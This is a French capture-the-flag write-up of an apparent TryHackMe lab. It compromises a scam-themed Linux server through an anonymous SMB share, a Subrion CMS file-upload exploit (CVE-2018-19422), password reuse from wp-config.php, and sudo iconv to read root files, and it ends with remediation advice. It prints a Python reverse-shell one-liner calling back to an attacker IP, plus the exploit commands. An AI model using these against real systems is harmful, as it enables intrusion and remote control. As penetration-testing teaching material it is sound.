ZNote Logo
ZNote
Labs Pentesteasy
13-06-2026

Lab Tech Support : Du Partage SMB Anonyme au Shell Root via Subrion CMS

Pentest d'un serveur Linux hébergeant un site scam en développement : fuite de credentials via un partage SMB anonyme, décodage, exploitation d'un Arbitrary File Upload sur Subrion CMS 4.2.1 (CVE-2018-19422), récupération du mot de passe WordPress depuis wp-config.php, et lecture du flag root via iconv en sudo NOPASSWD.

Pentest
SMB
Subrion
CVE-2018-19422
File Upload
RCE
iconv
PrivEsc
GTFOBins
TryHackMe
WordPress

Contexte et Objectifs

ChampDétail
PlateformeTryHackMe
LienAccéder au Lab
Cibletechsupport.thm
OSUbuntu Linux
CVECVE-2018-19422 (Subrion CMS Arbitrary File Upload)
DifficultéFacile

Scénario : Un site d'arnaque en cours de développement a été identifié. L'objectif est de le compromettre entièrement pour démontrer un risque tangible au client avant que les escrocs ne le mettent en production.

Kill chain :

SMB anonyme → partage websvr → enter.txt → creds Subrion encodés
        │
        ▼
Décodage → admin:Scam2021
        │
        ▼
Feroxbuster → /subrion/panel + /wordpress
        │
        ▼
CVE-2018-19422 → upload shell.phar → Web Shell → Reverse Shell www-data
        │
        ▼
wp-config.php → credentials DB → su scamsite
        │
        ▼
sudo -l → iconv NOPASSWD → lecture /root/root.txt → flag root

1. Reconnaissance

rustscan -a techsupport.thm -- -A -sC -sV

Output :

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: TECHSUPPORT; OS: Linux

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|_  Message signing enabled but not required

Analyse :

Quatre ports ouverts sur une machine Ubuntu Linux (TTL 62, OpenSSH Ubuntu, Apache Ubuntu). Deux vecteurs principaux à explorer :

PortServicePriorité
80Apache 2.4.18Web, premier vecteur
139/445Samba 4.3.11SMB, exploration anonyme possible
22OpenSSH 7.2p2Réservé si credentials trouvés

Deux observations critiques dans les scripts Nmap :

message_signing: disabled (dangerous, but default) et Message signing enabled but not required : la signature SMB n'est pas obligatoire. Cela ouvre la porte au NTLM Relay si l'occasion se présente.

account_used: guest : Samba accepte les connexions invitées. On commence par là.


2. Enumération SMB

Connexion anonyme

nxc smb techsupport.thm -u '' -p ''
SMB  10.114.156.196  445  TECHSUPPORT  [*] Unix - Samba (name:TECHSUPPORT)
                                        (signing:False) (SMBv1:True) (Null Auth:True)
SMB  10.114.156.196  445  TECHSUPPORT  [+] \: (Guest)

Null Auth: True confirme que le serveur accepte les sessions sans credentials. On liste les partages :

nxc smb techsupport.thm -u '' -p '' --shares
SMB  10.114.156.196  445  TECHSUPPORT  Share       Permissions  Remark
SMB  10.114.156.196  445  TECHSUPPORT  -----       -----------  ------
SMB  10.114.156.196  445  TECHSUPPORT  print$                   Printer Drivers
SMB  10.114.156.196  445  TECHSUPPORT  websvr      READ
SMB  10.114.156.196  445  TECHSUPPORT  IPC$        READ         IPC Service (TechSupport server)

Le partage websvr est accessible en lecture. Son nom suggère des fichiers liés au serveur web. On s'y connecte.

Exploration du partage websvr

smbclient //techsupport.thm/websvr -U ''

Connexion au partage websvr

cat enter.txt
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website

IMP
===
Subrion creds
|->admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk [cooked with magical formula]
Wordpress creds
|->

Plusieurs informations critiques dans ce fichier :

  1. Le site héberge deux CMS : Subrion et WordPress
  2. Les credentials Subrion sont présents mais encodés ("cooked with magical formula")
  3. Le panel Subrion est accessible via /subrion/panel (mentionné explicitement)

Décodage des credentials Subrion

La mention "cooked with magical formula" est un indice révélant que les credentials ont été encodées. On teste les encodages courants sur la valeur 7sKvntXdPEJaxazce9PXi24zaFrLiKWCk.

Sur CyberChef avec la recette Magic pour de la détection automatique.

Décodage credentials Subrion

admin : Scam2021

3. Enumération Web

Feroxbuster

feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u http://techsupport.thm -x php html -q -n

Paramètres :

  • -x php html : tester les extensions PHP et HTML
  • -q : mode silencieux (moins de bruit)
  • -n : désactiver la récursivité
301  GET  http://techsupport.thm/test         => http://techsupport.thm/test/
301  GET  http://techsupport.thm/wordpress    => http://techsupport.thm/wordpress/
200  GET  http://techsupport.thm/phpinfo.php

Analyse des résultats :

RépertoireSignification
/testRépertoire de test, potentiellement des fichiers de développement
/wordpressInstance WordPress, vecteur secondaire si Subrion échoue
/phpinfo.phpFichier de debug exposé, révèle la configuration PHP complète

Feroxbuster ne trouve pas /subrion directement. Le fichier enter.txt mentionnait /subrion/panel donc on accède directement à cette URL :

http://techsupport.thm/subrion/panel/

Panel d'administration Subrion

Le panel d'administration est accessible. On se connecte avec admin:Scam2021.

Connexion Subrion réussie

La version est visible dans le dashboard : Subrion CMS 4.2.1.


4. Exploitation : CVE-2018-19422 (Arbitrary File Upload)

Référence : Rapid7 Module Documentation

searchsploit subrion 4.2.1
Subrion CMS 4.2.1 - 'Email' Persistant Cross-Site Scripting   | php/webapps/47469.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS                        | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload                      | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF)          | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting                       | php/webapps/45150.txt

On retient Arbitrary File Upload (49876.py) : c'est le seul vecteur menant directement à une RCE.

Comprendre la vulnérabilité

Le gestionnaire de fichiers de Subrion (/panel/uploads/) applique une liste noire (blacklist) pour bloquer les fichiers PHP exécutables. Les extensions classiques sont bloquées : .php, .phtml, .php5.

Le problème : la blacklist est incomplète. Les extensions .phar et .pht ont été oubliées. Or, Apache est configuré pour interpréter ces extensions comme du PHP. Résultat : uploader un fichier shell.phar contenant du code PHP malveillant et l'appeler via son URL déclenche une exécution de code côté serveur.

Kill chain de l'exploit :

1. Connexion admin au panel Subrion
2. Upload de shell.phar via /panel/uploads/
3. Contournement du filtre (extension non blacklistée)
4. Appel de http://target/subrion/uploads/shell.phar
5. Exécution de commandes avec les droits www-data

Application

On télécharge le script depuis GitHub :

git clone https://github.com/hev0x/CVE-2018-19422-SubrionCMS-RCE
cd CVE-2018-19422-SubrionCMS-RCE

On lance l'exploit :

python3 exploit.py -u http://10.114.156.196/subrion/panel/ -l admin -p Scam2021

Web shell obtenu via Subrion

Le script dépose automatiquement le fichier .phar et nous fournit un web shell interactif.


5. Du Web Shell au Reverse Shell

Le web shell fourni par l'exploit est fonctionnel mais présente des limitations importantes pour la post-exploitation :

  • Non-interactif : impossible de répondre à des invites dynamiques (sudo, su, ssh-keygen)
  • Pas de gestion des signaux : un Ctrl+C accidentel coupe notre accès
  • Pas d'environnement : pas de complétion Tab, pas d'historique

On passe à un reverse shell Python pour avoir un accès stable.

Listener

nc -lvnp 4444

Payload injecté dans le web shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.236.165",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")'

Connexion reçue :

nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.236.165] from (UNKNOWN) [10.114.190.107] 39886
www-data@TechSupport:/var/www/html/subrion/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Stabilisation TTY

[!NOTE] TTY vs PTY : TTY est le terme générique pour un terminal (physique ou virtuel). PTY est un pseudo-terminal entièrement logiciel. Un shell non-TTY ne peut pas gérer les signaux ni les raccourcis clavier correctement. La stabilisation crée un PTY via Python pour obtenir un terminal complet.

# Étape 1 : allocation d'un PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Étape 2 : configuration du terminal local
stty raw -echo; fg

# Étape 3 : stabilisation des variables d'environnement
export TERM=xterm

On a maintenant un shell www-data stable avec complétion Tab et gestion des signaux.


6. Post-Exploitation

Enumération locale

Après stabilisation du shell, nous passons à une reconnaissance de l'arborescence du serveur. Et dans cette reconnaissance nous ouvrons le fichier /etc/passwd.

www-data@TechSupport:/var/www/html/wordpress$ cat /etc/passwd

Reconnaissance du serveur

Nous voyons le répertoire /home/scamsite appartenant à l'utilisateur scamsite

Découverte de credentials

Le fichier enter.txt mentionnait un site WordPress. On fouille dans son répertoire (/var/www/html/wordpress) afin d'y trouver le fichier de configuration.

Exploration du répertoire WordPress

www-data@TechSupport:/var/www/html/wordpress$ cat wp-config.php

Contenu du fichier de config

// ** MySQL settings ** //
define( 'DB_NAME', 'wpdb' );
define( 'DB_USER', 'support' );
define( 'DB_PASSWORD', 'ImAScammerLOL!123!' );
define( 'DB_HOST', 'localhost' );

Credentials de base de données : support : ImAScammerLOL!123!

On tente une réutilisation du mote de passe sur le compte scamsite (visible dans /etc/passwd) :

Connexion scamsite

Connexion réussie. La réutilisation de credentials a fonctionné.


7. Escalade de Privilèges : iconv sudo NOPASSWD

Après énumération des privilèges de l'utilisateur, nous nous rendons compte que ce dernier a accès à la commande iconv en tant que root, sans mot de passe.

scamsite@TechSupport:~$ sudo -l
Matching Defaults entries for scamsite on TechSupport:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User scamsite may run the following commands on TechSupport:
    (ALL) NOPASSWD: /usr/bin/iconv

Résultat sudo -l

Comprendre iconv

iconv (International Character Set Conversion) est un utilitaire système qui convertit l'encodage de fichiers textuels d'un jeu de caractères à un autre.

Usage légitime :

iconv -f ISO-8859-1 -t UTF-8 fichier.txt

Le vecteur d'exploitation (GTFOBins) :

Référence : gtfobins.github.io/gtfobins/iconv

iconv ne restreint pas les fichiers qu'il peut ouvrir. S'il s'exécute avec des droits root, il peut lire n'importe quel fichier du système, peu importe ses permissions. En lui demandant de convertir un fichier vers son propre format (ISO-8859-1 vers ISO-8859-1), le contenu est affiché sans modification. Nous allons donc utiliser cette faille afin d'ouvrir le fichier /root/root.txt

sudo iconv -f 8859_1 -t 8859_1 /root/root.txt
OptionRôle
-f 8859_1Format d'entrée : ISO-8859-1
-t 8859_1Format de sortie : ISO-8859-1 (identique)
/root/root.txtFichier à lire (normalement inaccessible à scamsite)

En demandant la même conversion d'entrée et de sortie, iconv se contente de lire le fichier et d'afficher son contenu brut sans aucune transformation.


8. Flag Root

sudo iconv -f 8859_1 -t 8859_1 /root/root.txt

Flag root


9. Conclusion et Remédiation

Kill Chain Complète

1. Rustscan           → SSH + Apache + Samba sur Ubuntu Linux
2. SMB null session   → partage websvr accessible
3. enter.txt          → credentials Subrion encodés
4. Décodage CyberChef → admin:Scam2021
5. Feroxbuster        → /wordpress découvert, /subrion/panel accessible
6. CVE-2018-19422     → upload shell.phar → web shell www-data
7. Reverse shell      → shell stable stabilisé en TTY
8. wp-config.php      → DB_PASSWORD récupéré → su scamsite
9. Flag user          → /home/scamsite/user.txt
10. sudo iconv        → lecture /root/root.txt → flag root

Remédiation

VecteurProblèmeRemédiation
Partage SMB anonymeCredentials d'application exposés publiquementDésactiver les sessions nulles SMB. Ne jamais stocker de credentials dans des partages accessibles
Credentials encodésEncodage n'est pas du chiffrementUtiliser un gestionnaire de secrets ou des variables d'environnement. Ne jamais stocker de passwords en clair ou encodés dans des fichiers
Subrion 4.2.1CVE-2018-19422, blacklist d'extensions incomplèteMettre à jour Subrion. Utiliser une whitelist (autoriser uniquement les extensions connues) plutôt qu'une blacklist
phpinfo.php exposéRévèle la configuration complète du serveurSupprimer les fichiers de debug en production
Réutilisation de credentialsMot de passe DB = mot de passe systèmeUn credential par service. Les comptes DB ne doivent jamais correspondre à des comptes système
iconv NOPASSWD sudoLecture arbitraire de fichiers en rootSupprimer cette règle sudo. Si un outil de conversion est nécessaire, utiliser un wrapper restrictif

[!NOTE] La leçon principale de ce lab : la chaîne de compromission repose entièrement sur des erreurs de configuration et d'hygiène basiques : un partage public avec des secrets, un encodage confondu avec du chiffrement, une blacklist incomplète, une réutilisation de mot de passe, et un outil système en sudo illimité. Aucune de ces erreurs n'est technique. Ce sont toutes des décisions humaines corrigeables sans effort.


Writeup rédigé par Zcook